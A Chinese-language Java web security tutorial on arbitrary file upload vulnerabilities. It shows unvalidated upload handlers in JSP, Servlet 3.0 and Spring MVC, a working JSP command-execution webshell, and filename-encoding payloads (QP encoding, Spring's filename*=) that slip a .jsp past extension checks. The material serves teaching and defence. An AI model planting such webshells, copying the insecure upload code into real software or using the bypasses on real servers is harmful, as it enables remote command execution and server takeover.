任意文件上传漏洞 Web应用通常都会包含文件上传功能,用户可以将其本地的文件上传到Web服务器上。如果服务器端没有能够正确的检测用户上传的文件类型是否合法(例如上传了jsp后缀的WebShell)就将文件写入到服务器中就可能会导致服务器被非法入侵。
1. Apache commons fileupload文件上传测试 Apache commons-fileupload是一个非常常用的文件上传解析库,Spring MVC、Struts2、Tomcat等底层处理文件上传请求都是使用的这个库。
示例 - Apache commons-fileupload文件上传:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="org.apache.commons.fileupload.FileItemIterator" %> <%@ page import ="org.apache.commons.fileupload.FileItemStream" %> <%@ page import ="org.apache.commons.fileupload.servlet.ServletFileUpload" %> <%@ page import ="org.apache.commons.fileupload.util.Streams" %> <%@ page import ="java.io.File" %> <%@ page import ="java.io.FileOutputStream" %> <% if (ServletFileUpload.isMultipartContent(request)) { ServletFileUpload fileUpload = new ServletFileUpload (); FileItemIterator fileItemIterator = fileUpload.getItemIterator(request); String dir = request.getServletContext().getRealPath("/uploads/" ); File uploadDir = new File (dir); if (!uploadDir.exists()) { uploadDir.mkdir(); } while (fileItemIterator.hasNext()) { FileItemStream fileItemStream = fileItemIterator.next(); String fieldName = fileItemStream.getFieldName(); if (fileItemStream.isFormField()) { String fieldValue = Streams.asString(fileItemStream.openStream()); out.println(fieldName + "=" + fieldValue); } else { String fileName = fileItemStream.getName(); File uploadFile = new File (uploadDir, fileName); out.println(fieldName + "=" + fileName); FileOutputStream fos = new FileOutputStream (uploadFile); Streams.copy(fileItemStream.openStream(), fos, true ); out.println("文件上传成功:" + uploadFile.getAbsolutePath()); } } } else { %> <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <title>File upload</title> </head> <body> <form action="" enctype="multipart/form-data" method="post" > <p> 用户名: <input name="username" type="text" /> 文件: <input id="file" name="file" type="file" /> </p> <input name="submit" type="submit" value="Submit" /> </form> </body> </html> <% } %>
*示例 - 本地命令执行后门代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <%@ page import ="java.io.InputStream" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <pre> <% String[] cmd = request.getParameterValues("cmd" ); Process process = Runtime.getRuntime().exec(cmd); InputStream in = process.getInputStream(); int a = 0 ; byte [] b = new byte [1024 ]; while ((a = in.read(b)) != -1 ) { out.println(new String (b, 0 , a)); } in.close(); %> </pre>
因为Web应用未检测用户上传的文件合法性导致了任意文件上传漏洞,访问示例中的文件上传地址:http://localhost:8000/modules/servlet/fileupload/file-upload.jsp,并选择一个恶意的jsp后门
访问命令执行后门测试:http://localhost:8000/uploads/cmd.jsp?cmd=ls
2. Servlet 3.0 内置文件上传解析 Servlet3.0 新增了对文件上传请求解析的支持,javax.servlet.http.HttpServletRequest#getParts,使用request.getParts();即可获取文件上传包解析后的结果,从此不再需要使用第三方jar来处理文件上传请求了。
2.1 JSP multipart-config JSP使用request.getParts();必须配置multipart-config,否则请求时会报错:Unable to process parts as no multi-part configuration has been provided(由于没有提供multi-part配置,无法处理parts)。
在web.xml中添加如下配置:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?xml version="1.0" encoding="UTF-8" ?> <web-app xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" version ="3.0" xmlns ="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation ="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd" > <servlet > <servlet-name > file-upload-parts.jsp</servlet-name > <jsp-file > /modules/servlet/fileupload/file-upload-parts.jsp</jsp-file > <multipart-config > <max-file-size > 1000000</max-file-size > <max-request-size > 1000000</max-request-size > <file-size-threshold > 1000000</file-size-threshold > </multipart-config > </servlet > <servlet-mapping > <servlet-name > file-upload-parts.jsp</servlet-name > <url-pattern > /modules/servlet/fileupload/file-upload-parts.jsp</url-pattern > </servlet-mapping > </web-app >
示例 - file-upload-parts.jsp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="org.apache.commons.io.IOUtils" %> <%@ page import ="java.util.Collection" %> <%@ page import ="java.io.File" %> <% String contentType = request.getContentType(); if (contentType != null && contentType.startsWith("multipart/" )) { String dir = request.getSession().getServletContext().getRealPath("/uploads/" ); File uploadDir = new File (dir); if (!uploadDir.exists()) { uploadDir.mkdir(); } Collection<Part> parts = request.getParts(); for (Part part : parts) { String fileName = part.getSubmittedFileName(); if (fileName != null ) { File uploadFile = new File (uploadDir, fileName); out.println(part.getName() + ": " + uploadFile.getAbsolutePath() + "<br/>" ); } else { out.println(part.getName() + ": " + IOUtils.toString(part.getInputStream()) + "<br/>" ); } } } else { %> <!DOCTYPE html> <html lang="zh" > <head> <meta charset="UTF-8" > <title>File upload</title> </head> <body> <form action="" enctype="multipart/form-data" method="post" > <p> 用户名: <input name="username" type="text" /> 文件: <input id="file" name="file" type="file" /> </p> <input name="submit" type="submit" value="Submit" /> </form> </body> </html> <% } %>
2.2 Servlet @MultipartConfig Servlet3.0 需要配置@MultipartConfig注解才能支持multipart解析。示例 - FileUploadServlet代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 import org.apache.commons.io.FileUtils;import org.apache.commons.io.IOUtils;import javax.servlet.ServletException;import javax.servlet.annotation.MultipartConfig;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import javax.servlet.http.Part;import java.io.File;import java.io.IOException;import java.io.PrintWriter;import java.util.Collection;@MultipartConfig @WebServlet(urlPatterns = "/FileUploadServlet") public class FileUploadServlet extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws IOException { PrintWriter out = resp.getWriter(); out.println("<!DOCTYPE html>\n" + "<html lang=\"zh\">\n" + "<head>\n" + " <meta charset=\"UTF-8\">\n" + " <title>File upload</title>\n" + "</head>\n" + "<body>\n" + "<form action=\"\" enctype=\"multipart/form-data\" method=\"post\">\n" + " <p>\n" + " 用户名: <input name=\"username\" type=\"text\"/>\n" + " 文件: <input id=\"file\" name=\"file\" type=\"file\"/>\n" + " </p>\n" + " <input name=\"submit\" type=\"submit\" value=\"Submit\"/>\n" + "</form>\n" + "</body>\n" + "</html>" ); out.flush(); out.close(); } @Override protected void doPost (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { PrintWriter out = response.getWriter(); String contentType = request.getContentType(); if (contentType != null && contentType.startsWith("multipart/" )) { String dir = request.getSession().getServletContext().getRealPath("/uploads/" ); File uploadDir = new File (dir); if (!uploadDir.exists()) { uploadDir.mkdir(); } Collection<Part> parts = request.getParts(); for (Part part : parts) { String fileName = part.getSubmittedFileName(); if (fileName != null ) { File uploadFile = new File (uploadDir, fileName); out.println(part.getName() + ": " + uploadFile.getAbsolutePath()); FileUtils.write(uploadFile, IOUtils.toString(part.getInputStream(), "UTF-8" )); } else { out.println(part.getName() + ": " + IOUtils.toString(part.getInputStream())); } } } out.flush(); out.close(); } }
3. Spring MVC文件上传 Spring MVC会自动解析multipart/form-data请求,将multipart中的对象封装到MultipartRequest对象中,所以在Controller中使用@RequestParam注解就可以映射multipart中的对象了,如:@RequestParam(“file”) MultipartFile file。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import org.javaweb.utils.FileUtils;import org.javaweb.utils.HttpServletResponseUtils;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.multipart.MultipartFile;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.File;import java.io.IOException;import java.util.LinkedHashMap;import java.util.Map;import static org.javaweb.utils.HttpServletRequestUtils.getDocumentRoot;@Controller @RequestMapping("/FileUpload/") public class FileUploadController { @RequestMapping("/upload.php") public void uploadPage (HttpServletResponse response) { HttpServletResponseUtils.responseHTML(response, "<!DOCTYPE html>\n" + "<html lang=\"en\">\n" + "<head>\n" + " <meta charset=\"UTF-8\">\n" + " <title>File upload</title>\n" + "</head>\n" + "<body>\n" + "<form action=\"/FileUpload/upload.do\" enctype=\"multipart/form-data\" method=\"post\">\n" + " <p>\n" + " 用户名: <input name=\"username\" type=\"text\"/>\n" + " 文件: <input id=\"file\" name=\"file\" type=\"file\"/>\n" + " </p>\n" + " <input name=\"submit\" type=\"submit\" value=\"Submit\"/>\n" + "</form>\n" + "</body>\n" + "</html>" ); } @ResponseBody @RequestMapping("/upload.do") public Map<String, Object> upload (String username, @RequestParam("file") MultipartFile file, HttpServletRequest request) { String filePath = "uploads/" + username + "/" + file.getOriginalFilename(); File uploadFile = new File (getDocumentRoot(request), filePath); File uploadDir = uploadFile.getParentFile(); Map<String, Object> jsonMap = new LinkedHashMap <String, Object>(); if (!uploadDir.exists()) { uploadDir.mkdirs(); } try { FileUtils.copyInputStreamToFile(file.getInputStream(), uploadFile); jsonMap.put("url" , filePath); jsonMap.put("msg" , "上传成功!" ); } catch (IOException e) { jsonMap.put("msg" , "上传失败,服务器异常!" ); } return jsonMap; } }
4. 文件上传 - 编码特性 4.1 QP编码 QP编码( quoted-printable)是邮件协议中的一种内容编码方式,Quoted-printable是使用可打印的ASCII字符(如字母、数字与“=”)表示各种编码格式下的字符,以便能在7-bit数据通路上传输8-bit数据, 或者更一般地说在非8-bit clean媒体上正确处理数据,这被定义为MIME content transfer encoding
示例 - JavaQP编码代码:
1 2 3 4 5 6 7 8 9 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="javax.mail.internet.MimeUtility" %> <% String qp = request.getParameter("qp" ); String encode = MimeUtility.encodeWord(qp); String decode = MimeUtility.decodeWord(encode); out.println("<pre>\nQP-Encoding: " + encode + "\nQP-Decode: " + decode); %>
字符串:测试.jsp编码后的结果如下:
QP编码本与文件上传没有什么关系,但是由于在Java中最常用的Apache commons fileupload库从1.3开始支持了RFC 2047 Header值编码,从而支持解析使用QP编码后的文件名。
上传文件的时候选一个文件名经过QP编码后的文件,如:=?UTF-8?Q?=E6=B5=8B=E8=AF=95=2Ejsp?=(测试.jsp)。
编码处理类:org.apache.commons.fileupload.util.mime.MimeUtility#decodeText
所以在文件上传中,上传被编码后的文件名(=?UTF-8?Q?=E6=B5=8B=E8=AF=95=2Ejsp?=),文件上传成功后文件名被编码成了测试.jsp。
Spring MVC中同样支持QP编码,在Spring中有两种处理Multipart的Resolver: org.springframework.web.multipart.commons.CommonsMultipartResolver和org.springframework.web.multipart.support.StandardServletMultipartResolver。CommonsMultipartResolver使用的是commons fileupload解析的所以支持QP编码。StandardMultipartHttpServletRequest比较特殊,Spring 4没有处理QP编码
但是在Spring 5修改了实现,如果文件名是=?开始?=结尾的话会调用javax.mail库的MimeDelegate解析QP编码
javax.mail库不是JDK自带的,必须自行引包,如果不存在该包也将无法解析,SpringBoot + Spring4默认使用的是StandardServletMultipartResolver,但是基于配置的Spring MVC中经常会使用CommonsMultipartResolver
1 2 3 4 5 <bean id ="multipartResolver" class ="org.springframework.web.multipart.commons.CommonsMultipartResolver" > <property name ="defaultEncoding" value ="UTF-8" > </property > <property name ="maxUploadSize" value ="50000000" > </property > <property name ="maxInMemorySize" value ="1024" > </property > </bean >
4.2 Spring 内置文件名编码特性 Spring会对文件上传的名称做特殊的处理,org.springframework.web.multipart.support.StandardMultipartHttpServletRequest#parseRequest内置了一种比较特殊的解析文件名的方式,如果传入的multipart请求无法直接使用filename=解析出文件名,Spring还会使用content-disposition解析一次(使用filename*=解析文件名)。
在文件上传时,修改Content-Disposition中的filename=为
1 filename*= "UTF-8'1.jpg'1.jsp"
extractFilenameWithCharset支持对传入的文件名编码,示例中传入的UTF-8’1.jpg’1.jsp会被解析成UTF-8编码,最终的文件名为1.jsp,而1.jpg则会被丢弃。
Spring5 的org.springframework.web.multipart.support.StandardMultipartHttpServletRequest#parseRequest除了支持QP编码以外,优化了Spring4的解析文件名的方式:
Payload:
1 filename*= "UTF-8'1.jpg'=?UTF-8?Q?=E6=B5=8B=E8=AF=95=2Ejsp?="